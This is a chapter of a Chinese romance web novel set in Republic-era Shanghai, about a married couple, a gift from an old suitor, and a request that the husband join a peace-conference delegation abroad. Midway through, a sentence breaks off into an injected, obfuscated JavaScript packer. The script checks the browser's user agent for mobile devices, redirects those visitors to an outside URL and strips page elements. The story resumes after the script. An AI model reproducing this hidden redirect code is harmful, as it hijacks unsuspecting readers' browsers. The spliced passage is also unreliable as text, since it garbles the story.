有些伤痛，需要时间去面对；有些思念，需要仪式去安放。而他，始终会陪在身边，做她的支撑，做她的屋檐。 汽车缓缓驶入他们小洋楼所在的弄堂。午后的阳光将房子的轮廓勾勒得清晰而安宁。吴妈可能正在院子里晾晒衣物，隐约有孩子的嬉笑声从隔壁传来。 这就是他们的生活了。 有大家（沈家老宅）的温暖接纳，有小家（他们自己的房子）的静谧相守，就算前路未知，她贪恋的享受着当下。 平淡，真实，却因彼此的交付与陪伴，而充满了沉甸甸的力量和暖意。 沈晏先下车，然后绅士地伸出手，扶何思玥下来。他的手温暖有力，稳稳地托住她的手臂。 两人相视一笑，携手走进那扇属于他们自己的、洒满阳光的大门。 46. 第 46 章 回家后，何思玥闲暇无事，便想着拆礼物，看看里面还有一些什么礼物，后面也好还礼。 一堆礼盒中，一个红色绒面的盒子引起了她的注意。 她拿到桌旁，打开盒子的时候，看到一套精致的黄金饰品，还有一封信，上面写着‘沈晏何思玥夫妇亲启’。 是顾修白送的，心里大概内容是祝他们幸福，他们已经离开了上海，出国了。 何思玥看完信沉默了一会儿，沈晏走了过来，“你怎么了？” “这是顾修白送的东西。”说着，顺手将信递给了沈晏。 沈晏接过信丢在了一旁，拿起盒子的东西，“这东西确实还挺适合你的。”拿起一个发簪在她头上比划着。 “你不生气？” “生气？我为什么要生气，他已婚你也已婚，再说我相信我们之间的感情，我也相信我自己比顾修白足够的优秀有魅力，所以我为什么要纠结你的过去呢。” 沈晏的语气平淡自然，手里拿着那支金簪，在何思玥鬓边比划着，似乎在认真考虑是否合适。 何思玥被沈晏一本正经的分析逗笑，但也是说的是实话，过去的就过去了，她和顾修白的感情，也停留在了那个春天。 顾修白选择了他的路，如今也只是送上一份迟来的、或许带着歉疚或祝福的礼物，然后远走他乡。 傍晚的阳光透过玻璃窗，洒在那精致的黄金上，折射出细碎温暖的光。 何思玥看着他平静的侧脸，心里那点因旧人礼物而起的微妙波澜，渐渐平息下去。 她与沈晏之间，历经生死坎坷建立起的信任与羁绊，远比一份旧礼厚重得多。 “这支簪子样式太繁复了，日常戴不出去。”何思玥伸手接过那支簪子，指尖触到冰凉的金属，又看了看盒子里其他的项链、耳坠，都是价值不菲的足金，工艺精湛，却带着旧式富家偏好的华丽风格，与她现在简约的喜好并不相符。 “是不太适合你现在的样子。”沈晏赞同地点点头，将簪子放回盒中，合上盖子，“收起来吧。至于还礼……”他略一沉吟，“他既然已经出国，地址不详，这份礼倒是不好回了。不过也无妨，记下这份心意便是。” 他的处理方式理智而大气，既没有故作大度地让她留下使用，也没有因嫉妒而表现得耿耿于怀，只是将它作为一份普通的、需要适当处理的礼物看待。 何思玥心中最后一丝芥蒂也消散了。 她将那个红色绒盒放到梳妆台抽屉的底层，与其他不太常用的首饰放在一起。 “对了，”沈晏像是想起什么，从怀里掏出一个扁平的丝绒小袋，递给何思玥，“看看这个。” 何思玥接过，打开丝绒袋，里面是一块温润细腻的羊脂白玉佩。 玉佩雕成简单的平安锁样式，线条流畅圆润，玉质洁白无瑕，触手生温。正面刻着一个极小的“安”字，背面则刻着“晏”与“玥”字相倚的纹样，显然是特意定制的。 “这是……”何思玥抬头看他。 “我准备的。”沈晏看着她，目光温柔，“不是什么贵重的古董，玉料是托人从新疆寻来的籽料，样子是我画的，请老师傅雕的。想着……给你随身戴着，寓意也好。” 他没有说是什么寓意，但“安”字，以及两人名字相倚的图案，一切尽在不言中。 “我很喜欢。”她轻声说，眼角有些湿润，“帮我戴上？” 沈晏接过玉佩，将红绳轻轻系在她的颈间。白玉贴着她锁骨下方的肌肤，温润妥帖。 他低头，在她戴好玉佩的颈窝处，落下一个轻如羽毛的吻。 “以后就戴这个。”他说，语气里带着不容置疑的温柔占有，却又那么自然。 “嗯。”何思玥应着，手指无意识地摩挲着胸前的玉佩。 这份礼物，连同他清晨笨拙的梳发、餐桌上夹来的虾饺、父亲面前的维护、以及此刻眼中清晰的爱意…… 何思玥本来还想说一些什么，家里却来了一位不速之客--顾辰昀。 她本来想要回避的，顾辰昀却说，这件事她应该有知情权。 何思玥和沈晏互相看了一眼，心中不好的感觉油然而生。 三人坐在客厅。 “沈晏，这件事时间比较紧急，我长话短说，我需要陪我出国一趟，参加和会。” “和会？我恐怕不合适陪你一起去吧，我只是一个利益至上的商人，并不懂什么国际形式和谈判。”沈晏婉拒。 “你谦虚了，你在英国学习的是政治和国际外交，证明你对国际形式是有所了解的，且懂得谈判技巧的，如果说你都不懂谈判技巧，恐怕放眼整个上海滩，也没有人了。” 顾辰昀的话音落下，客厅里陷入短暂的沉寂。只有壁炉架上时钟的滴答声，规律地敲打着空气。 沈晏的手指在沙发扶手上轻轻敲击了一下，这是他思考时的习惯动作。 他看向顾辰昀，镜片后的目光锐利而审慎：“顾先生，那是很多年前的事了。我现在只是个精于算计的商人，远离政治漩涡才是明哲保身之道,更何况...”他停顿了一下，看向身侧的何思玥，眼神柔和了一瞬，随即又转向顾辰昀，语气加重，“我新婚不久，我不想离开我的妻子，此刻离开上海，并非良选。” 他的理由充分，既有对自身处境的清醒认知，也包含着对家庭的顾虑。 顾辰昀似乎早有预料，他端起茶几上的白瓷杯，缓缓啜了一口茶，姿态依旧从容，但眉宇间带着一丝不易察觉的凝重。 “沈兄，我理解你的顾虑。若非情势紧急，我也不会贸然登门。”他放下茶杯，目光扫过沈晏和何思玥，“此次和会，表面上是协约国讨论战后安排，实则关乎远东格局，尤其是日本对华野心，将在那里进行新一轮的博弈与妥协。我们需要有人，不仅熟悉国际外交规则，更了解国内实业与贸易的实际情况，才能在谈判桌上，为我们羸弱的国力，争取哪怕一丝一毫的经济利益和未来发展的空间。” 他顿了顿，声音压低了些：“南京方面推荐了几个人，但……要么是纯粹的官僚，不懂经济；要么背景过于复杂，难以信任。我多方考量，也私下征询了一些人的意见，沈兄你，是少数几个被共同提及、且风评尚可的人选。你在英国的人脉，对国际商贸规则的熟稔，以及对时局清醒的判断，都是我们亟需的。” 沈晏沉默着。 顾辰昀的话，点出了问题的关键。这不仅仅是陪同出席那么简单，而是要深入参与一场关乎国家利益的艰难谈判。风险极大，一旦处理不好，可能里外不是人，甚至引火烧身。 何思玥的心突然提了起来。 她听懂了顾辰昀话里的分量。这不是普通的商务出行，而是涉入国际政治的深水区。沈晏此前的历险多在上海周边，尚有斡旋余地，而远渡重洋参与大国博弈……她不敢细想。 但她也明白， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089616|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾辰昀亲自上门，把话说得如此明白，几乎是恳请的姿态，背后代表的恐怕不仅仅是“内阁秘书”个人的意愿。 “顾先生，”何思玥忽然开口，声音清晰而平静，“请问，这趟行程，预计需要多久？安全方面，有何保障？” 她没有直接反对，而是问出了最实际的问题。沈晏有些意外地看了她一眼，握住了她放在膝上的手。 顾辰昀看向何思玥，目光里多了一丝赞许和郑重：“沈夫人问到了点子上。行程预计至少三个月，包括往返船期和在巴黎的时间。安全方面，我会以官方随员身份安排沈兄，享有相应的外交保护。当然，局势瞬息万变，我无法保证绝对安全，但会尽我所能，动用一切可用的资源。” 三个月……何思玥的心沉了沉。 而“无法保证绝对安全”这几个字，更是像冰块投入心底。 沈晏感受到了她手指的微凉。他深吸一口气，看向顾辰昀：“顾兄，此事关系重大，请容我考虑几日。” “可以。”顾辰昀点头，站起身，“但时间不等人，代表团下周就要启程。我最多只能等到后天晚上。”他从怀中取出一张便签，放在茶几上，“这是我在华懋饭店的房间号和电话。沈兄考虑好了，随时通知我。” 他没有再多说，朝何思玥微微颔首：“沈夫人，打扰了。”便转身告辞。 送走顾辰昀，客厅里只剩下他们两人。午后的阳光斜斜照进来，却驱不散突然笼罩的沉重气氛。 沈晏走到窗边，背对着何思玥，望着窗外葱郁的庭院，沉默良久。 何思玥走过去，从身后轻轻环住他的腰，将脸贴在他宽阔的背上。 “沈晏，”她轻声说，“我知道……这或许是一件应该去做的事。” 沈晏身体一僵，缓缓转过身，将她拥入怀中，力道很大。 “思玥，我……”他的声音有些沙哑，“我不想在这个时候离开你。你身体需要调养，外面局势又……” “我知道。”何思玥抬起头，看着他眼底的挣扎与担忧，“我都知道。可是顾辰昀说得对，有些事情，总得有人去做。你有这个能力，或许……这也是爹娘希望看到的。”她提起父母，声音微哽，“他们一生正直，若知道你能为国家做点实实在在的事，哪怕有风险，也一定会支持。” 沈晏将她搂得更紧，下颌抵着她的发顶，深深吸了口气，仿佛要将她的气息刻入肺腑。 “我只是……舍不得你，也放心不下。”他的声音闷闷的，“这一去，千里迢迢，音信难通，万一……” “没有万一。”何思玥打断他，语气出奇地坚定，她从他怀里稍稍退开，看着他的眼睛，“沈晏，我会照顾好自己，医院那边，陆医生他们会照应。家里有吴妈，有爸爸和希希。我也会等你回来。” 她的眼神清澈而坚定，那里面的信任与支持，像一道光，穿透了沈晏心中的迷雾与挣扎。 他看着她，这个外表柔婉、内心却无比坚韧的女子。她经历了丧亲之痛，却依然保有济世之心。 她明知前路艰险，却愿意支持他去承担更大的责任。 良久，沈晏低下头，额头与她相抵，声音低沉而郑重：“给我一天时间。我把药行和家里的事情安排好。后天……我给顾辰昀答复。” 他没有直接说去，但意思已经明了。 何思玥点了点头，泪水终于忍不住滑落，但她很快擦去，用力回抱住他。